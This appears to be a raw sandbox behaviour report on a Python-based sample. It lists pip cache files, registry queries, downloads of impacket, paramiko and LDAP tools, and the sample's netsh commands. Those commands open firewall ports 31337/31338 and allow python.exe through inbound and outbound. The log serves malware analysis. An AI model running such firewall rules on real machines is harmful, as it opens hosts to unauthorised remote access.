[%LOCALAPPDATA%\pip\cache\http-v2\a\2\c\7\f\a2c7fb2f56be3b29a2d7321b28cab6b1cac04b0c15609403c9f0d984.bodymzavvxro.tmp]- [targetUID: 00000000-00007600] "METADATA" has type "Python script ASCII text executable"- Location: [%TEMP%\pip-metadata-q362kr73\METADATA]- [targetUID: 00000000-00008020] "click-8.5.1-py3-none-any.whl.metadata" has type "Python script ASCII text executable"- Location: [%TEMP%\pip-unpack-45kz9ct2\click-8.5.1-py3-none-any.whl.metadata]- [targetUID: 00000000-00007600] "tmp0wvbcqw3" has type "Python script ASCII text executable"- Location: [%TEMP%\tmp0wvbcqw3]- [targetUID: 00000000-00007600] "77aa171ead2127e3e8ed71b509659f3ec1728b80afa6a8a2c8e4e7ba.bodyiykifd4r.tmp" has type "gzip compressed data max compression original size modulo 2^32 8665"- Location: [%LOCALAPPDATA%\pip\cache\http-v2\7\7\a\a\1\77aa171ead2127e3e8ed71b509659f3ec1728b80afa6a8a2c8e4e7ba.bodyiykifd4r.tmp]- [targetUID: 00000000-00007600] "itsdangerous-2.2.0-py3-none-any.whl.metadata" has type "Python script ASCII text executable"- Location: [%TEMP%\pip-unpack-vj0y9bp2\itsdangerous-2.2.0-py3-none-any.whl.metadata]- [targetUID: 00000000-00007600] "tmp28g66vt3" has type "Python script ASCII text executable"- Location: [%TEMP%\tmp28g66vt3]- [targetUID: 00000000-00007600] "METADATA" has type "Python script ASCII text executable"- Location: [%TEMP%\pip-metadata-56r183id\METADATA]- [targetUID: 00000000-00008020] "tmppobc0nuk" has type "Unknown"- Location: [%TEMP%\tmppobc0nuk]- [targetUID: 00000000-00007600] "ac6ce078ba7ef544ac1b08e0d360c5de427c1f320e84c250ebf42170.body6s4y3ok_.tmp" has type "Unknown"- Location: [%LOCALAPPDATA%\pip\cache\http-v2\a\c\6\c\e\ac6ce078ba7ef544ac1b08e0d360c5de427c1f320e84c250ebf42170.body6s4y3ok_.tmp]- [targetUID: 00000000-00007600] "blinker-1.9.0-py3-none-any.whl.metadata" has type "Unknown"- Location: [%TEMP%\pip-unpack-ab6cd6_j\blinker-1.9.0-py3-none-any.whl.metadata]- [targetUID: 00000000-00007600] "tmpcp4jitq5" has type "Unknown"- Location: [%TEMP%\tmpcp4jitq5]- [targetUID: 00000000-00007600] "98babafebc5bdd2e2d73c2a7babfaa1d2228ff653c64a381fcb46367.bodyogezktde.tmp" has type "Unknown"- Location: [%LOCALAPPDATA%\pip\cache\http-v2\9\8\b\a\b\98babafebc5bdd2e2d73c2a7babfaa1d2228ff653c64a381fcb46367.bodyogezktde.tmp]- [targetUID: 00000000-00007600] "METADATA" has type "Unknown"- Location: [%TEMP%\pip-metadata-mnekmxqk\METADATA]- [targetUID: 00000000-00008020]5c:T1c35,"9bc24a0d1af06cebaa67c4cf831029179fb35f7fa224a8d2dbe5006d.bodywfmhq22y.tmp" has type "Zip archive data made by v2.0 UNIX extract using at least v2.0 last modified Sep 27 2026 18:30:24 uncompressed size 165 method=deflate" - Location: [%LOCALAPPDATA%\pip\cache\http-v2\9\b\c\2\4\9bc24a0d1af06cebaa67c4cf831029179fb35f7fa224a8d2dbe5006d.bodywfmhq22y.tmp] "bca89331ccd256c7bceb619eae9403cb783a2abfa140b99b7dac66a2.bodym_8u6hb2.tmp" has type "Zip archive data made by v2.0 UNIX extract using at least v2.0 last modified Oct 17 2026 22:09:50 uncompressed size 3450 method=deflate" - Location: [%LOCALAPPDATA%\pip\cache\http-v2\b\c\a\8\9\bca89331ccd256c7bceb619eae9403cb783a2abfa140b99b7dac66a2.bodym_8u6hb2.tmp] "0d14f0a32e377d1190bc8dbae6962e0633b69fffba8a6160afbc8e6f.bodyg81bcs1r.tmp" has type "Zip archive data made by v2.0 UNIX extract using at least v2.0 last modified Mar 28 2025 02:39:52 uncompressed size 65 method=deflate" - Location: [%LOCALAPPDATA%\pip\cache\http-v2\0\d\1\4\f\0d14f0a32e377d1190bc8dbae6962e0633b69fffba8a6160afbc8e6f.bodyg81bcs1r.tmp] "2aaebf6b506fe2a373b26f648dfc83bfc153f7671297de820141e25a.body8bmnf8wt.tmp" has type "gzip compressed data max compression original size modulo 2^32 1012502" - Location: [%LOCALAPPDATA%\pip\cache\http-v2\2\a\a\e\b\2aaebf6b506fe2a373b26f648dfc83bfc153f7671297de820141e25a.body8bmnf8wt.tmp] "82a4b75b0492ac0cddfc37543dc76df60c05d492f39e89796c9f2cd3.bodyjcxnhpak.tmp" has type "Zip archive data made by v2.0 UNIX extract using at least v2.0 last modified Apr 05 2026 23:27:54 uncompressed size 2212 method=deflate" - Location: [%LOCALAPPDATA%\pip\cache\http-v2\8\2\a\4\b\82a4b75b0492ac0cddfc37543dc76df60c05d492f39e89796c9f2cd3.bodyjcxnhpak.tmp] "0d737fcfc0849664d14e4caad2a4866c3dbc9ebadc806e55afbdf549.body4b39vvob.tmp" has type "Zip archive data made by v2.0 extract using at least v2.0 last modified Sep 25 2025 19:42:04 uncompressed size 1000 method=deflate" - Location: [%LOCALAPPDATA%\pip\cache\http-v2\0\d\7\3\7\0d737fcfc0849664d14e4caad2a4866c3dbc9ebadc806e55afbdf549.body4b39vvob.tmp] "8c30266fb32a23bd1c3978dce0bf0c4bd935f24d3e567feb9e2df799.body4gkee_7r.tmp" has type "Zip archive data made by v2.0 UNIX extract using at least v2.0 last modified Nov 06 2026 06:25:42 uncompressed size 5145 method=deflate" - Location: [%LOCALAPPDATA%\pip\cache\http-v2\8\c\3\0\2\8c30266fb32a23bd1c3978dce0bf0c4bd935f24d3e567feb9e2df799.body4gkee_7r.tmp] "6b45031933f860a66862d8bbeab086b552ed37baed1b67b4fcc475ec.bodygaiklb70.tmp" has type "Zip archive data made by v2.0 UNIX extract using at least v2.0 last modified Feb 19 2026 03:41:54 uncompressed size 2701 method=deflate" - Location: [%LOCALAPPDATA%\pip\cache\http-v2\6\b\4\5\0\6b45031933f860a66862d8bbeab086b552ed37baed1b67b4fcc475ec.bodygaiklb70.tmp] "34e542d91615b0c756d5e520848b0d106c12a418e67932313394eaa7.body5fygzkko.tmp" has type "gzip compressed data max compression original size modulo 2^32 393716" - Location: [%LOCALAPPDATA%\pip\cache\http-v2\3\4\e\5\4\34e542d91615b0c756d5e520848b0d106c12a418e67932313394eaa7.body5fygzkko.tmp] "9cc6939c61442ece13bdcac1a4f63ac9be8b2e7a5a8148e85ca678e2.body14uzbkvu.tmp" has type "gzip compressed data max compression original size modulo 2^32 100201" - Location: [%LOCALAPPDATA%\pip\cache\http-v2\9\c\c\6\9\9cc6939c61442ece13bdcac1a4f63ac9be8b2e7a5a8148e85ca678e2.body14uzbkvu.tmp] "37011a92decbae054354ac044e6397d39bab33bb4b04aee2fbe1fb56.bodyrjw230ed.tmp" has type "Unknown" - Location: [%LOCALAPPDATA%\pip\cache\http-v2\3\7\0\1\1\37011a92decbae054354ac044e6397d39bab33bb4b04aee2fbe1fb56.bodyrjw230ed.tmp] "716b600475402da1427ef22d8bc6f89797db25581f58222fadd3d344.bodyeexugh9z.tmp" has type "Zip archive data made by v2.0 UNIX extract using at least v2.0 last modified Apr 04 2025 07:09:30 uncompressed size 45433 method=deflate" - Location: [%LOCALAPPDATA%\pip\cache\http-v2\7\1\6\b\6\716b600475402da1427ef22d8bc6f89797db25581f58222fadd3d344.bodyeexugh9z.tmp] "1e6f2fa1119d47b853219feb91c3867d411e0c8c02476d1e769171e8.body0f0oz1qx.tmp" has type "gzip compressed data max compression original size modulo 2^32 56105" - Location: [%LOCALAPPDATA%\pip\cache\http-v2\1\e\6\f\2\1e6f2fa1119d47b853219feb91c3867d411e0c8c02476d1e769171e8.body0f0oz1qx.tmp] "30d4e87d14e60af7dc987765da5deb104b436d2a6d316aab8420bff8.body3cyrlp3d.tmp" has type "gzip compressed data max compression original size modulo 2^32 32366" - Location: [%LOCALAPPDATA%\pip\cache\http-v2\3\0\d\4\e\30d4e87d14e60af7dc987765da5deb104b436d2a6d316aab8420bff8.body3cyrlp3d.tmp] "55e89b09594758366a997abbae14a69af04566121efa35f87cbadc71.body10fffqwa.tmp" has type "Zip archive data made by v2.0 UNIX extract using at least v2.0 last modified Nov 08 2024 17:22:44 uncompressed size 317 method=deflate" - Location: [%LOCALAPPDATA%\pip\cache\http-v2\5\5\e\8\9\55e89b09594758366a997abbae14a69af04566121efa35f87cbadc71.body10fffqwa.tmp] "368c6e8d89d86908116600539bcfea26d2334f5c9c8adf425246f9ab.bodyzmhg9r6j.tmp" has type "Python script ASCII text executable" - Location: [%LOCALAPPDATA%\pip\cache\http-v2\3\6\8\c\6\368c6e8d89d86908116600539bcfea26d2334f5c9c8adf425246f9ab.bodyzmhg9r6j.tmp] "85385fd8a53d3d88ac67db4bf015be7ba931f024227668d42969ea92.bodykbn6_txu.tmp" has type "gzip compressed data max compression original size modulo 2^32 18239" - Location: [%LOCALAPPDATA%\pip\cache\http-v2\8\5\3\8\5\85385fd8a53d3d88ac67db4bf015be7ba931f024227668d42969ea92.bodykbn6_txu.tmp] "692ec231cbc72e0dffbe16e12652153a0e370b1f7b1ae418d5ffcb83.bodysyhclf65.tmp" has type "Unknown" - Location: [%LOCALAPPDATA%\pip\cache\http-v2\6\9\2\e\c\692ec231cbc72e0dffbe16e12652153a0e370b1f7b1ae418d5ffcb83.bodysyhclf65.tmp] "f7bfd6930f734dd3e11fa3ea15d0e76bfe62e81899114cb8257f67b4.bodytkvud8qv.tmp" has type "Python script ASCII text executable" - Location: [%LOCALAPPDATA%\pip\cache\http-v2\f\7\b\f\d\f7bfd6930f734dd3e11fa3ea15d0e76bfe62e81899114cb8257f67b4.bodytkvud8qv.tmp] "d6a5d0856a7e93554e8be85cae6a61e3c3d38bd36521d22d8c0dc50e.body4ih8buiv.tmp" has type "Python script ASCII text executable" - Location: [%LOCALAPPDATA%\pip\cache\http-v2\d\6\a\5\d\d6a5d0856a7e93554e8be85cae6a61e3c3d38bd36521d22d8c0dc50e.body4ih8buiv.tmp] "a46b74c1407dd55ebf9eeb7eb2c73000028b7639a6ed9edc7981950cj4bu04bb.tmp" has type "Unknown" - Location: [%LOCALAPPDATA%\pip\cache\http-v2\a\4\6\b\7\a46b74c1407dd55ebf9eeb7eb2c73000028b7639a6ed9edc7981950cj4bu04bb.tmp] "34e542d91615b0c756d5e520848b0d106c12a418e67932313394eaa7rstc8dz7.tmp" has type "Unknown" - Location: [%LOCALAPPDATA%\pip\cache\http-v2\3\4\e\5\4\34e542d91615b0c756d5e520848b0d106c12a418e67932313394eaa7rstc8dz7.tmp] "3a1c7a8390a01e2866c987ccb52d86a29a0498e089a9d35d19c02a63oju_mhcn.tmp" has type "Unknown" - Location: [%LOCALAPPDATA%\pip\cache\http-v2\3\a\1\c\7\3a1c7a8390a01e2866c987ccb52d86a29a0498e089a9d35d19c02a63oju_mhcn.tmp] "4374db2dad7a8fb0f740927aa8b73cd505232c538ba96acd90bf0e9am1cqt7l7.tmp" has type "Unknown" - Location: [%LOCALAPPDATA%\pip\cache\http-v2\4\3\7\4\d\4374db2dad7a8fb0f740927aa8b73cd505232c538ba96acd90bf0e9am1cqt7l7.tmp] "aad463972d370084ab3547d18c6b8ec1979cd6dc88f8a8323425aa32kai6390h.tmp" has type "Unknown" - Location: [%LOCALAPPDATA%\pip\cache\http-v2\a\a\d\4\6\aad463972d370084ab3547d18c6b8ec1979cd6dc88f8a8323425aa32kai6390h.tmp]5d:T6d3,"python.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "python.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "python.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\STATESEPARATION\REDIRECTIONMAP\KEYS"; Key: ""; Value: "") "python.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "python.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "python.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "python.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "python.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: ""; Value: "") "python.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "python.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: ""; Value: "") "python.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\ERROR MESSAGE INSTRUMENT"; Key: ""; Value: "") "python.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS"; Key: ""; Value: "") "python.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\PYTHON.EXE"; Key: ""; Value: "") "python.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\DISPLAY"; Key: ""; Value: "")5e:Tcff,"python.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RAISEEXCEPTIONONPOSSIBLEDEADLOCK"; Value: "") "python.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "python.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "3C74AFB9-8D82-44E3-B52C-365DBF48382A"; Value: "") "python.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "05F95EFE-7F75-49C7-A994-60A55CC09571"; Value: "") "python.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "E36C4458-ED80-4AD7-A8BE-52DDA1EB5F1C"; Value: "") "python.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "python.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "python.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "python.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: "000603XX"; Value: "") "python.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "D0F1A5C6-FC43-48AE-99BF-EFB1C38BE9D1"; Value: "") "python.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "F3A71A4B-6118-4257-8CCB-39A33BA059D4"; Value: "") "python.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "CA967C75-04BF-40B5-9A16-98B5F9332A92"; Value: "") "python.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "B6FD710B-F783-4B1C-AB9C-C68099DCC0C7"; Value: "") "python.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "BF30465B-E93C-46FD-9CDF-F41C8904A01F"; Value: "") "python.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "C1376338-0984-48B8-B933-9C7D779FD84D"; Value: "") "python.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: "PREFEREXTERNALMANIFEST"; Value: "") "python.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "F25BCD2E-2690-55DC-3BC4-07B65B1B41C9"; Value: "") "python.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE"; Key: "DISABLEMETAFILES"; Value: "") "python.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE"; Key: "DISABLEUMPDBUFFERSIZECHECK"; Value: "") "python.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "ENABLEPERPROCESSSYSTEMDPI"; Value: "") "python.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\COMPATIBILITY32"; Key: "PYTHON"; Value: "") "python.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS"; Key: "LOADAPPINIT_DLLS"; Value: "") "python.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORUSESYSTEMHEAP"; Value: "")5f:T62c,"WMIC.exe" trying to access non-existent file "C:\Windows\System32\wbem\IPHLPAPI.DLL" "WMIC.exe" trying to access non-existent file "C:\WINDOWS\System32\Wbem\IPHLPAPI.DLL" "WMIC.exe" trying to access non-existent file "C:\Windows\System32\wbem\framedynos.dll" "WMIC.exe" trying to access non-existent file "C:\WINDOWS\System32\Wbem\framedynos.dll" "WMIC.exe" trying to access non-existent file "C:\Windows\System32\wbem\SspiCli.dll" "WMIC.exe" trying to access non-existent file "C:\WINDOWS\System32\Wbem\SspiCli.dll" "WMIC.exe" trying to access non-existent file "C:\Windows\System32\wbem\FLTLIB.DLL" "WMIC.exe" trying to access non-existent file "C:\WINDOWS\System32\Wbem\FLTLIB.DLL" "WMIC.exe" trying to access non-existent file "C:\Windows\System32\wbem\MSVCP140.dll" "WMIC.exe" trying to access non-existent file "C:\WINDOWS\System32\Wbem\MSVCP140.dll" "WMIC.exe" trying to access non-existent file "C:\Windows\System32\wbem\VCRUNTIME140.dll" "WMIC.exe" trying to access non-existent file "C:\WINDOWS\System32\Wbem\VCRUNTIME140.dll" "WMIC.exe" trying to access non-existent file "C:\Windows\System32\wbem\VCRUNTIME140_1.dll" "WMIC.exe" trying to access non-existent file "C:\WINDOWS\System32\Wbem\VCRUNTIME140_1.dll" "WMIC.exe" trying to access non-existent file "C:\Windows\System32\wbem\wbemcomn.dll" "WMIC.exe" trying to access non-existent file "C:\WINDOWS\system32\wbem\wbemcomn.dll" "WMIC.exe" trying to access non-existent file "C:\Windows\System32\wbem\CRYPTSP.DLL" "WMIC.exe" trying to access non-existent file "C:\WINDOWS\System32\Wbem\CRYPTSP.DLL"60:Ta3f,Found http requests in header "GET /simple/cryptography/" Found http requests in header "GET /packages/9a/4f/adfc442765721292fff86d314ce385d3249d22db42295c0dd057727b60f3/cryptography-50.0.2-cp311-abi3-win_amd64.whl.metadata" Found http requests in header "GET /simple/paramiko/" Found http requests in header "GET /packages/13/45/fa0e8d70cb25d2dae06bc238e580a84834f6ca53a4e2408cccc19a78db7b/paramiko-5.1.0-py3-none-any.whl.metadata" Found http requests in header "GET /simple/impacket/" Found http requests in header "GET /packages/72/44/c28ecebffd4c08d4f2caf4f7d4fd3fd9eb0124dcf15e9bf8a1e20287bcb0/impacket-0.13.1-py3-none-any.whl.metadata" Found http requests in header "GET /simple/bcrypt/" Found http requests in header "GET /packages/9f/b9/9d9a641194a730bda138b3dfe53f584d61c58cd5230e37566e83ec2ffa0d/bcrypt-5.0.0-cp39-abi3-win_amd64.whl.metadata" Found http requests in header "GET /simple/invoke/" Found http requests in header "GET /packages/5a/de/bbc12563bbf979618d17625a4e753ff7a078523e28d870d3626daa97261a/invoke-3.0.3-py3-none-any.whl.metadata" Found http requests in header "GET /simple/pyasn1/" Found http requests in header "GET /packages/19/1f/3eefd5c84c35cae44549ce1c7f7e58f7945b34f5a6bce07a135438522073/pyasn1-0.6.5-py3-none-any.whl.metadata" Found http requests in header "GET /simple/pyasn1-modules/" Found http requests in header "GET /packages/47/8d/d529b5d697919ba8c11ad626e835d4039be708a35b0d22de83a269a6682c/pyasn1_modules-0.4.2-py3-none-any.whl.metadata" Found http requests in header "GET /simple/pycryptodomex/" Found http requests in header "GET /packages/21/f9/4363334c762c2463d9d403894e83922959d9392e7cfa15bb1335e790851d/pycryptodomex-3.24.2-cp37-abi3-win_amd64.whl.metadata" Found http requests in header "GET /simple/pyopenssl/" Found http requests in header "GET /packages/51/ad/2cf6d3fa2fae5c79e1ed9960c0d42badd0f94d81dd12b50604cdc839e648/pyopenssl-26.4.0-py3-none-any.whl.metadata" Found http requests in header "GET /simple/ldap3/" Found http requests in header "GET /packages/4e/f6/71d6ec9f18da0b2201287ce9db6afb1a1f637dedb3f0703409558981c723/ldap3-2.9.1-py2.py3-none-any.whl.metadata" Found http requests in header "GET /simple/ldapdomaindump/" Found http requests in header "GET /packages/8a/91/5a0015375d5bcc3667f92692e9a244803b9a0e4b651b29a5682e1647669a/ldapdomaindump-0.10.0-py3-none-any.whl.metadata" Found http requests in header "GET /simple/flask/" Found http requests in header "GET /packages/7f/9c/34f6962f9b9e9c71f6e5ed806e0d0ff03c9d1b0b2340088a0cf4bce09b18/flask-3.1.3-py3-none-any.whl.metadata" Found http requests in header "GET /simple/blinker/"61:T48c,Process "netsh.exe" with commandline "netsh advfirewall firewall delete rule name="k9 py"" (UID: 00000000-00002060) Process "netsh.exe" with commandline "netsh advfirewall firewall delete rule name="k9 tcp"" (UID: 00000000-00008852) Process "netsh.exe" with commandline "netsh advfirewall firewall delete rule name="k9 udp"" (UID: 00000000-00002664) Process "netsh.exe" with commandline "netsh advfirewall firewall add rule name="k9 py" dir=in action=allow program="%LOCALAPPDATA%\\Programs\\Python\\Python311\\python.exe" enable=yes profile=any" (UID: 00000000-00001896) Process "netsh.exe" with commandline "netsh advfirewall firewall add rule name="k9 tcp" dir=in action=allow protocol=TCP localport=31337,31338 profile=any" (UID: 00000000-00004364) Process "netsh.exe" with commandline "netsh advfirewall firewall add rule name="k9 udp" dir=in action=allow protocol=UDP localport=31337 profile=any" (UID: 00000000-00007560) Process "netsh.exe" with commandline "netsh advfirewall firewall add rule name="k9 out" dir=out action=allow program="%LOCALAPPDATA%\\Programs\\Python\\Python311\\python.exe" enable=yes profile=any" (UID: 00000000-00005936)62:T317a,GET /simple/cryptography/ HTTP/1.1 Host: pypi.org User-Agent: pip/26.2.1 {"ci":null "cpu":"AMD64" "implementation":{"name":"CPython" "version":"3.11.0"} "installer":{"name":"pip" "version":"26.2.1"} "openssl_version":"OpenSSL 1.1.1q 5 Jul 2022" "python":"3.11.0" "setuptools_version":"80.10.2" "system":{"name":"Windows" "release":"10"}} Accept-Encoding: gzip deflate Accept: application/vnd.pypi.simple.v1+json application/vnd.pypi.simple.v1+html; q=0.1 text/html; q=0.01 Connection: keep-alive GET /packages/9a/4f/adfc442765721292fff86d314ce385d3249d22db42295c0dd057727b60f3/cryptography-50.0.2-cp311-abi3-win_amd64.whl.metadata HTTP/1.1 Host: files.pythonhosted.org User-Agent: pip/26.2.1 {"ci":null "cpu":"AMD64" "implementation":{"name":"CPython" "version":"3.11.0"} "installer":{"name":"pip" "version":"26.2.1"} "openssl_version":"OpenSSL 1.1.1q 5 Jul 2022" "python":"3.11.0" "setuptools_version":"80.10.2" "system":{"name":"Windows" "release":"10"}} Accept-Encoding: identity Accept: */* Connection: keep-alive GET /simple/paramiko/ HTTP/1.1 Host: pypi.org User-Agent: pip/26.2.1 {"ci":null "cpu":"AMD64" "implementation":{"name":"CPython" "version":"3.11.0"} "installer":{"name":"pip" "version":"26.2.1"} "openssl_version":"OpenSSL 1.1.1q 5 Jul 2022" "python":"3.11.0" "setuptools_version":"80.10.2" "system":{"name":"Windows" "release":"10"}} Accept-Encoding: gzip deflate Accept: application/vnd.pypi.simple.v1+json application/vnd.pypi.simple.v1+html; q=0.1 text/html; q=0.01 Connection: keep-alive GET /packages/13/45/fa0e8d70cb25d2dae06bc238e580a84834f6ca53a4e2408cccc19a78db7b/paramiko-5.1.0-py3-none-any.whl.metadata HTTP/1.1 Host: files.pythonhosted.org User-Agent: pip/26.2.1 {"ci":null "cpu":"AMD64" "implementation":{"name":"CPython" "version":"3.11.0"} "installer":{"name":"pip" "version":"26.2.1"} "openssl_version":"OpenSSL 1.1.1q 5 Jul 2022" "python":"3.11.0" "setuptools_version":"80.10.2" "system":{"name":"Windows" "release":"10"}} Accept-Encoding: identity Accept: */* Connection: keep-alive GET /simple/impacket/ HTTP/1.1 Host: pypi.org User-Agent: pip/26.2.1 {"ci":null "cpu":"AMD64" "implementation":{"name":"CPython" "version":"3.11.0"} "installer":{"name":"pip" "version":"26.2.1"} "openssl_version":"OpenSSL 1.1.1q 5 Jul 2022" "python":"3.11.0" "setuptools_version":"80.10.2" "system":{"name":"Windows" "release":"10"}} Accept-Encoding: gzip deflate Accept: application/vnd.pypi.simple.v1+json application/vnd.pypi.simple.v1+html; q=0.1 text/html; q=0.01 Connection: keep-alive GET /packages/72/44/c28ecebffd4c08d4f2caf4f7d4fd3fd9eb0124dcf15e9bf8a1e20287bcb0/impacket-0.13.1-py3-none-any.whl.metadata HTTP/1.1 Host: files.pythonhosted.org User-Agent: pip/26.2.1 {"ci":null "cpu":"AMD64" "implementation":{"name":"CPython" "version":"3.11.0"} "installer":{"name":"pip" "version":"26.2.1"} "openssl_version":"OpenSSL 1.1.1q 5 Jul 2022" "python":"3.11.0" "setuptools_version":"80.10.2" "system":{"name":"Windows" "release":"10"}} Accept-Encoding: identity Accept: */* Connection: keep-alive GET /simple/bcrypt/ HTTP/1.1 Host: pypi.org User-Agent: pip/26.2.1 {"ci":null "cpu":"AMD64" "implementation":{"name":"CPython" "version":"3.11.0"} "installer":{"name":"pip" "version":"26.2.1"} "openssl_version":"OpenSSL 1.1.1q 5 Jul 2022" "python":"3.11.0" "setuptools_version":"80.10.2" "system":{"name":"Windows" "release":"10"}} Accept-Encoding: gzip deflate Accept: application/vnd.pypi.simple.v1+json application/vnd.pypi.simple.v1+html; q=0.1 text/html; q=0.01 Connection: keep-alive GET /packages/9f/b9/9d9a641194a730bda138b3dfe53f584d61c58cd5230e37566e83ec2ffa0d/bcrypt-5.0.0-cp39-abi3-win_amd64.whl.metadata HTTP/1.1 Host: files.pythonhosted.org User-Agent: pip/26.2.1 {"ci":null "cpu":"AMD64" "implementation":{"name":"CPython" "version":"3.11.0"} "installer":{"name":"pip" "version":"26.2.1"} "openssl_version":"OpenSSL 1.1.1q 5 Jul 2022" "python":"3.11.0" "setuptools_version":"80.10.2" "system":{"name":"Windows" "release":"10"}} Accept-Encoding: identity Accept: */* Connection: keep-alive GET /simple/invoke/ HTTP/1.1 Host: pypi.org User-Agent: pip/26.2.1 {"ci":null "cpu":"AMD64" "implementation":{"name":"CPython" "version":"3.11.0"} "installer":{"name":"pip" "version":"26.2.1"} "openssl_version":"OpenSSL 1.1.1q 5 Jul 2022" "python":"3.11.0" "setuptools_version":"80.10.2" "system":{"name":"Windows" "release":"10"}} Accept-Encoding: gzip deflate Accept: application/vnd.pypi.simple.v1+json application/vnd.pypi.simple.v1+html; q=0.1 text/html; q=0.01 Connection: keep-alive GET /packages/5a/de/bbc12563bbf979618d17625a4e753ff7a078523e28d870d3626daa97261a/invoke-3.0.3-py3-none-any.whl.metadata HTTP/1.1 Host: files.pythonhosted.org User-Agent: pip/26.2.1 {"ci":null "cpu":"AMD64" "implementation":{"name":"CPython" "version":"3.11.0"} "installer":{"name":"pip" "version":"26.2.1"} "openssl_version":"OpenSSL 1.1.1q 5 Jul 2022" "python":"3.11.0" "setuptools_version":"80.10.2" "system":{"name":"Windows" "release":"10"}} Accept-Encoding: identity Accept: */* Connection: keep-alive GET /simple/pyasn1/ HTTP/1.1 Host: pypi.org User-Agent: pip/26.2.1 {"ci":null "cpu":"AMD64" "implementation":{"name":"CPython" "version":"3.11.0"} "installer":{"name":"pip" "version":"26.2.1"} "openssl_version":"OpenSSL 1.1.1q 5 Jul 2022" "python":"3.11.0" "setuptools_version":"80.10.2" "system":{"name":"Windows" "release":"10"}} Accept-Encoding: gzip deflate Accept: application/vnd.pypi.simple.v1+json application/vnd.pypi.simple.v1+html; q=0.1 text/html; q=0.01 Connection: keep-alive GET /packages/19/1f/3eefd5c84c35cae44549ce1c7f7e58f7945b34f5a6bce07a135438522073/pyasn1-0.6.5-py3-none-any.whl.metadata HTTP/1.1 Host: files.pythonhosted.org User-Agent: pip/26.2.1 {"ci":null "cpu":"AMD64" "implementation":{"name":"CPython" "version":"3.11.0"} "installer":{"name":"pip" "version":"26.2.1"} 